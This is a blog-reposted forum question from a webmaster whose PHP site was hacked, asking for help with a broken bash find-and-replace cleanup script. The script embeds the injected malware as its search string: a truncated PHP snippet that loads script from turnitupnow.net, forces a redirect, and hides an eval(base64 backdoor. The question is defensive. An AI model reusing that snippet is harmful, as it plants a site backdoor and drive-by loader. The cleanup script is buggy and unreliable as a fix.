need help with bash script?

Nov 11, 2011   //   by Administrator   //   Blog  //  No Comments

seabro Asked: need help with bash script?

Hi, I have had my website hacked and malicious code has been placed in many .php files.I have found a script on the web which doesn't work due to the special characters in the search query.Can you help me get the script working?

(I have not been allowed to input the entire search string as it thinks it is an URL so I have just included one line).

# ****************************************
# find_and_replace_in_files.sh
# This script does a recursive, case sensitive directory search and replace of files
# To make a case insensitive search replace, use the -i switch in the grep call
# uses a startdirectory parameter so that you can run it outside of specified directory – else this script will modify itself!
# **************************************** ***************************************
!/bin/bash
# **************** Change Variables Here ************
startdirectory="/path/to/public_html/"
searchterm="global $sessdt_o; if(!$sessdt_o) { $sessdt_o = 1; $sessdt_k = "lb11"; if(!@$_COOKIE[$sessdt_k]) { $sessdt_f = "102"; if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."= } } else { if($_COOKIE[$sessdt_k]=="102") { $sessdt_f = (rand(1000,9000)+1); if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."= } $sessdt_j = @$_SERVER["HTTP_HOST"].@$_SERVER["REQUES $sessdt_v = urlencode(strrev($sessdt_j)); $sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f echo "<script src='$sessdt_u'></script>"; echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--"; } } $sessdt_p = "showimg"; if(isset($_POST[$sessdt_p])){eval(base64 }"
replaceterm=""
# ****************************************

echo "***************************************
echo "* Search and Replace in Files Version .1 *"
echo "***************************************

for file in $(grep -l -R $searchterm $startdirectory)
do
sed -e "s/$searchterm/$replaceterm/ig" $file > /tmp/tempfile.tmp
mv /tmp/tempfile.tmp $file
echo "Modified: " $file
done

echo " *** Yay! All Done! *** "

Answers:

Be The First To Answer This Question…

Got a better answer? Share it below!

Buzz Terms:

  • turnitupnow net hack

Click Here World-class training methods teaches hundreds of marathoners an easier, faster and safer way to run!

Leave a comment

*

RSS Follow Us On Twitter

Follow Us On Facebook